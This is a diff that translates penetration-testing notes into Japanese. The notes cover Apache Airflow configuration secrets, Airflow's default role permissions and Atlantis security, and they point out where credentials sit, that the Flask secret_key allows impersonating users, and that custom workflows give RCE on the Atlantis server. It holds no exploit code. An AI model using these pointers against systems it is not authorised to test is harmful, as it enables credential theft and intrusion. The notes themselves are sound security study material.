+**config file 内の値** **は使用されているものとは異なる可能性がある**ことに注意してください。環境変数を設定することで上書きできます。例えば、`AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`。
-If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
-If you have **access to some machine inside the airflow env**, check the **environment**.
+**ウェブサーバーの config file にアクセスできる場合**、同じページで表示されている **実際の実行設定** を確認できます。\
+**Airflow 環境内のマシンにアクセスできる場合**、**環境**を確認してください。
-Some interesting values to check when reading the config file:
+config file を読む際に確認すべき興味深い値:
### \[api]
-- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
-- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
-- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
-- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- - `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- - You can also **create you own authentication** method with python.
-- **`google_key_path`:** Path to the **GCP service account key**
+- **`access_control_allow_headers`**: これは **CORS** のための **許可された** **ヘッダー** を示します
+- **`access_control_allow_methods`**: これは **CORS** のための **許可されたメソッド** を示します
+- **`access_control_allow_origins`**: これは **CORS** のための **許可されたオリジン** を示します
+- **`auth_backend`**: [**ドキュメントによると**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API へのアクセスを設定するためのいくつかのオプションがあります:
+- `airflow.api.auth.backend.deny_all`: **デフォルトでは誰も** API にアクセスできません
+- `airflow.api.auth.backend.default`: **誰でも** 認証なしでアクセスできます
+- `airflow.api.auth.backend.kerberos_auth`: **Kerberos 認証** を設定するため
+- `airflow.api.auth.backend.basic_auth`: **基本認証** のため
+- `airflow.composer.api.backend.composer_auth`: 作成者の認証を使用します (GCP) ([**こちら**](https://cloud.google.com/composer/docs/access-airflow-api)から)。
+- `composer_auth_user_registration_role`: これは **Airflow** 内で **作成者ユーザー** が取得する **役割** を示します (**Op** がデフォルト)。
+- Python で **独自の認証** メソッドを作成することもできます。
+- **`google_key_path`:** **GCP サービスアカウントキー** へのパス
### **\[atlas]**
-- **`password`**: Atlas password
-- **`username`**: Atlas username
+- **`password`**: Atlas パスワード
+- **`username`**: Atlas ユーザー名
### \[celery]
-- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
-- **`result_backend`**: Postgres url which may contain **credentials**.
-- **`ssl_cacert`**: Path to the cacert
-- **`ssl_cert`**: Path to the cert
-- **`ssl_key`**: Path to the key
+- **`flower_basic_auth`** : 認証情報 (_user1:password1,user2:password2_)
+- **`result_backend`**: **認証情報**を含む可能性のある Postgres URL。
+- **`ssl_cacert`**: cacert へのパス
+- **`ssl_cert`**: cert へのパス
+- **`ssl_key`**: key へのパス
### \[core]
-- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
-- **`fernet_key`**: Key to store encrypted variables (symmetric)
-- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
-- **`security`**: What security module to use (for example kerberos)
+- **`dag_discovery_safe_mode`**: デフォルトで有効。DAG を発見する際、`DAG` と `airflow` の文字列を含まないファイルは無視されます。
+- **`fernet_key`**: 暗号化された変数を保存するためのキー (対称)
+- **`hide_sensitive_var_conn_fields`**: デフォルトで有効、接続の機密情報を隠します。
+- **`security`**: 使用するセキュリティモジュール (例えば Kerberos)
### \[dask]
-- **`tls_ca`**: Path to ca
-- **`tls_cert`**: Part to the cert
-- **`tls_key`**: Part to the tls key
+- **`tls_ca`**: ca へのパス
+- **`tls_cert`**: cert へのパス
+- **`tls_key`**: tls key へのパス
### \[kerberos]
-- **`ccache`**: Path to ccache file
-- **`forwardable`**: Enabled by default
+- **`ccache`**: ccache ファイルへのパス
+- **`forwardable`**: デフォルトで有効
### \[logging]
-- **`google_key_path`**: Path to GCP JSON creds.
+- **`google_key_path`**: GCP JSON 認証情報へのパス。
### \[secrets]
-- **`backend`**: Full class name of secrets backend to enable
-- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
+- **`backend`**: 有効にする秘密のバックエンドの完全なクラス名
+- **`backend_kwargs`**: backend_kwargs パラメータは辞書に読み込まれ、秘密のバックエンドクラスの **init** に渡されます。
### \[smtp]
-- **`smtp_password`**: SMTP password
-- **`smtp_user`**: SMTP user
+- **`smtp_password`**: SMTP パスワード
+- **`smtp_user`**: SMTP ユーザー
### \[webserver]
-- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
-- **`cookie_secure`**: Set **secure flag** on the the session cookie
-- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
-- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
-- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
-- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
-- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
-- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
+- **`cookie_samesite`**: デフォルトでは **Lax** で、すでに最も弱い値です
+- **`cookie_secure`**: セッション cookie に **secure flag** を設定します
+- **`expose_config`**: デフォルトは False で、true の場合、**config** はウェブ **console** から **読み取る** ことができます
+- **`expose_stacktrace`**: デフォルトでは True で、**python tracebacks** を表示します (攻撃者にとって潜在的に有用)
+- **`secret_key`**: これは **Flask が cookie に署名するために使用するキー** です (これを持っていると **Airflow の任意のユーザーになりすます** ことができます)
+- **`web_server_ssl_cert`**: **SSL** **cert** への **パス**
+- **`web_server_ssl_key`**: **SSL** **Key** への **パス**
+- **`x_frame_enabled`**: デフォルトは **True** で、デフォルトではクリックジャッキングは不可能です
### Web Authentication
-By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
-
+デフォルトでは **web authentication** は **`webserver_config.py`** ファイルに指定され、設定されています。
```bash
AUTH_TYPE = AUTH_DB
```
-
-Which means that the **authentication is checked against the database**. However, other configurations are possible like
-
+つまり、**認証はデータベースに対してチェックされます**。ただし、他の設定も可能です。
```bash
AUTH_TYPE = AUTH_OAUTH
```
+**認証を第三者サービスに委ねる**ために。
-To leave the **authentication to third party services**.
-
-However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
-
+ただし、**匿名ユーザーのアクセスを許可する**オプションもあり、次のパラメータを**希望するロール**に設定します:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 7ff782327..5ce3059c6 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,44 +4,40 @@
## RBAC
-(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
+(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflowはデフォルトで**一連の役割**を提供します:**Admin**、**User**、**Op**、**Viewer**、および**Public**。**`Admin`**ユーザーのみが**他の役割の権限を設定/変更**できます。しかし、`Admin`ユーザーがこれらのデフォルトの役割を変更することは推奨されません。
-- **`Admin`** users have all possible permissions.
-- **`Public`** users (anonymous) don’t have any permissions.
-- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
-- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
-- **`Op`** users have `User` permissions plus additional op permissions.
+- **`Admin`**ユーザーはすべての権限を持っています。
+- **`Public`**ユーザー(匿名)は権限を持っていません。
+- **`Viewer`**ユーザーは制限された閲覧権限(読み取りのみ)を持っています。**設定を表示できません。**
+- **`User`**ユーザーは`Viewer`権限に加えて、DAGを少し管理するための追加のユーザー権限を持っています。彼は**設定ファイルを表示できます。**
+- **`Op`**ユーザーは`User`権限に加えて、追加のオペレーター権限を持っています。
-Note that **admin** users can **create more roles** with more **granular permissions**.
+**admin**ユーザーは**より細かい権限を持つ役割を作成**できることに注意してください。
-Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
+また、**ユーザーと役割をリストする権限を持つ唯一のデフォルトの役割はAdminであり、Opでさえそれを行うことはできません**。
### Default Permissions
-These are the default permissions per default role:
+これらはデフォルトの役割ごとのデフォルトの権限です:
- **Admin**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
+\[Connectionsで削除、Connectionsで読み取り、Connectionsで編集、Connectionsで作成、DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、Poolsで削除、Poolsで読み取り、Poolsで編集、Poolsで作成、Providersで読み取り、Variablesで削除、Variablesで読み取り、Variablesで編集、Variablesで作成、XComsで読み取り、DAG Codeで読み取り、Configurationsで読み取り、Pluginsで読み取り、Rolesで読み取り、Permissionsで読み取り、Rolesで削除、Rolesで編集、Rolesで作成、Usersで読み取り、Usersで作成、Usersで編集、Usersで削除、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task Instancesで削除、Adminへのメニューアクセス、Configurationsへのメニューアクセス、Connectionsへのメニューアクセス、Poolsへのメニューアクセス、Variablesへのメニューアクセス、XComsへのメニューアクセス、XComsで削除、Task Reschedulesで読み取り、Task Reschedulesへのメニューアクセス、Triggersで読み取り、Triggersへのメニューアクセス、Passwordsで読み取り、Passwordsで編集、List Usersへのメニューアクセス、Securityへのメニューアクセス、List Rolesへのメニューアクセス、User Stats Chartで読み取り、User's Statisticsへのメニューアクセス、Base Permissionsへのメニューアクセス、View Menusで読み取り、Views/Menusへのメニューアクセス、Permission Viewsで読み取り、Views/MenusのPermissionへのメニューアクセス、MenuApiで取得、Providersへのメニューアクセス、XComsで作成]
- **Op**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
+\[Connectionsで削除、Connectionsで読み取り、Connectionsで編集、Connectionsで作成、DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、Poolsで削除、Poolsで読み取り、Poolsで編集、Poolsで作成、Providersで読み取り、Variablesで削除、Variablesで読み取り、Variablesで編集、Variablesで作成、XComsで読み取り、DAG Codeで読み取り、Configurationsで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task Instancesで削除、Adminへのメニューアクセス、Configurationsへのメニューアクセス、Connectionsへのメニューアクセス、Poolsへのメニューアクセス、Variablesへのメニューアクセス、XComsへのメニューアクセス、XComsで削除]
- **User**
-\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
+\[DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、XComsで読み取り、DAG Codeで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task Instancesで削除]
- **Viewer**
-\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
+\[DAGsで読み取り、DAG Runsで読み取り、Task Instancesで読み取り、Audit Logsで読み取り、ImportErrorで読み取り、XComsで読み取り、DAG Codeで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス]
- **Public**
\[]
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index a4b35140f..3a0aeb4e9 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -2,111 +2,111 @@
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### 基本情報
-Atlantis basically helps you to to run terraform from Pull Requests from your git server.
+Atlantisは基本的に、あなたのgitサーバーからのプルリクエストからterraformを実行するのを助けます。
.png>)
-### Local Lab
+### ローカルラボ
-1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
-2. Create a **personal token** (with repo access) of your **github** user
-3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
- 1. You can access the web page in 127.0.0.1:4141
+1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases)の**atlantisリリースページ**に行き、あなたに合ったものを**ダウンロード**します。
+2. **github**ユーザーの**個人トークン**(リポジトリアクセス付き)を作成します。
+3. `./atlantis testdrive`を実行すると、**atlantisと対話するために使用できるデモリポジトリ**が作成されます。
+1. 127.0.0.1:4141でウェブページにアクセスできます。
-### Atlantis Access
+### Atlantisアクセス
-#### Git Server Credentials
+#### Gitサーバーの資格情報
-**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
-However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
-[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
+**Atlantis**は**Github**、**Gitlab**、**Bitbucket**、**Azure DevOps**などの複数のgitホストをサポートしています。\
+ただし、これらのプラットフォームのリポジトリにアクセスし、アクションを実行するには、いくつかの**特権アクセスが付与される必要があります**(少なくとも書き込み権限)。\
+[**ドキュメント**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)では、Atlantis専用にこれらのプラットフォームにユーザーを作成することを推奨していますが、個人アカウントを使用する人もいるかもしれません。
> [!WARNING]
-> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
+> いずれにせよ、攻撃者の視点から見ると、**Atlantisアカウント**は非常に**興味深い****攻撃対象**となるでしょう。
-#### Webhooks
+#### Webhook
-Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
+Atlantisはオプションで[**Webhookシークレット**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)を使用して、あなたのGitホストから受信する**webhook**が**正当であることを検証**します。
-One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
+これを確認する方法の一つは、**GitホストのIPからのみリクエストを許可する**ことですが、より簡単な方法はWebhookシークレットを使用することです。
-Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
+プライベートなgithubやbitbucketサーバーを使用しない限り、webhookエンドポイントをインターネットに公開する必要があることに注意してください。
> [!WARNING]
-> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
+> Atlantisは**webhookを公開**するため、gitサーバーが情報を送信できるようにします。攻撃者の視点からは、**メッセージを送信できるかどうかを知ることが興味深い**でしょう。
-#### Provider Credentials
+#### プロバイダー資格情報
-[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
+[ドキュメントから:](https://www.runatlantis.io/docs/provider-credentials.html)
-Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
+Atlantisは、サーバー**Atlantisがホストされている**上で単に`terraform plan`と`apply`コマンドを**実行することによってTerraformを実行します**。ローカルでTerraformを実行するのと同様に、Atlantisは特定のプロバイダーの資格情報が必要です。
-It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
+あなたがどのように[資格情報を提供するか](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)はあなた次第です:
-- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
-- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
-- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
-- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
+- Atlantisの[Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart)と[AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)には、プロバイダー資格情報のための独自のメカニズムがあります。彼らのドキュメントを読んでください。
+- クラウドでAtlantisを実行している場合、多くのクラウドには、そこに実行されているアプリケーションにクラウドAPIアクセスを提供する方法があります。例:
+- [AWS EC2ロール](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)("EC2 Role"を検索)
+- [GCEインスタンスサービスアカウント](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
+- 多くのユーザーは、Atlantisが実行されている場所で環境変数を設定します。例:`AWS_ACCESS_KEY`
+- 他のユーザーは、Atlantisが実行されている場所で必要な設定ファイルを作成します。例:`~/.aws/credentials`
+- [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs)を使用してプロバイダー資格情報を取得します。
> [!WARNING]
-> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
+> **Atlantisが**実行されている**コンテナ**には、AtlantisがTerraformを介して管理しているプロバイダー(AWS、GCP、Github...)の**特権資格情報**が含まれている可能性が非常に高いです。
-#### Web Page
+#### ウェブページ
-By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
+デフォルトでは、Atlantisは**localhostのポート4141でウェブページを実行します**。このページは、atlantis applyを有効/無効にし、リポジトリのプランステータスを確認し、ロックを解除することを許可します(変更を加えることはできないため、それほど便利ではありません)。
-You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
+インターネットに公開されていることはないと思いますが、デフォルトでは**アクセスするために資格情報は必要ないようです**(必要な場合は`atlantis`:`atlantis`が**デフォルト**のものです)。
-### Server Configuration
+### サーバー設定
-Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
+`atlantis server`の設定は、コマンドラインフラグ、環境変数、設定ファイル、またはその3つの混合を介して指定できます。
-- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
-- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- Atlantisサーバーがサポートする[**フラグのリスト**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)は[こちら](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)で確認できます。
+- 設定オプションを環境変数に変換する方法は[こちら](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)で確認できます。
-Values are **chosen in this order**:
+値は**この順序で選択されます**:
-1. Flags
-2. Environment Variables
-3. Config File
+1. フラグ
+2. 環境変数
+3. 設定ファイル
> [!WARNING]
-> Note that in the configuration you might find interesting values such as **tokens and passwords**.
+> 設定の中には、**トークンやパスワード**などの興味深い値が含まれている可能性があることに注意してください。
-#### Repos Configuration
+#### リポジトリ設定
-Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
+いくつかの設定は**リポジトリの管理方法に影響します**。ただし、**各リポジトリが異なる設定を必要とする可能性があるため**、各リポジトリを指定する方法があります。これが優先順位です:
-1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
- 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
-2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
-3. **Default** values
+1. リポジトリ[**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config)ファイル。このファイルは、atlantisがリポジトリをどのように扱うべきかを指定するために使用できます。ただし、デフォルトでは、いくつかのキーはここで指定できず、フラグを使用して許可する必要があります。
+1. おそらく`allowed_overrides`や`allow_custom_workflows`のようなフラグによって許可される必要があります。
+2. [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config):`--repo-config`フラグで渡すことができ、各リポジトリの新しい設定を構成するyamlです(正規表現がサポートされています)。
+3. **デフォルト**の値
-**PR Protections**
+**PR保護**
-Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
+Atlantisは、**PR**が他の誰かによって**`承認`**されることを望むかどうか(ブランチ保護に設定されていなくても)や、**`マージ可能`**(ブランチ保護が通過した)であることを**applyを実行する前に**示すことを許可します。セキュリティの観点から、両方のオプションを設定することが推奨されます。
-In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
+`allowed_overrides`がTrueの場合、これらの設定は**各プロジェクトの`/atlantis.yml`ファイルで上書き可能**です。
-**Scripts**
+**スクリプト**
-The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
+リポジトリ設定は、**ワークフローが実行される前に**[**実行するスクリプト**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage)(_プレワークフローフック_)と、**ワークフローが実行された後に**[**実行するスクリプト**](https://www.runatlantis.io/docs/post-workflow-hooks.html)(_ポストワークフローフック_)を**指定できます**。
-There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file.
+リポジトリの`/atlantis.yml`ファイルでこれらのスクリプトを**指定する**オプションはありません。
-**Workflow**
+**ワークフロー**
-In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
-Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
+リポジトリ設定(サーバーサイド設定)では、[**新しいデフォルトワークフローを指定**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow)したり、[**新しいカスタムワークフローを作成**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**したりできます**。また、**新しく生成された**ワークフローに**アクセスできるリポジトリ**を**指定**することもできます。\
+その後、各リポジトリの**atlantis.yaml**ファイルで**使用するワークフローを指定**できます。
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
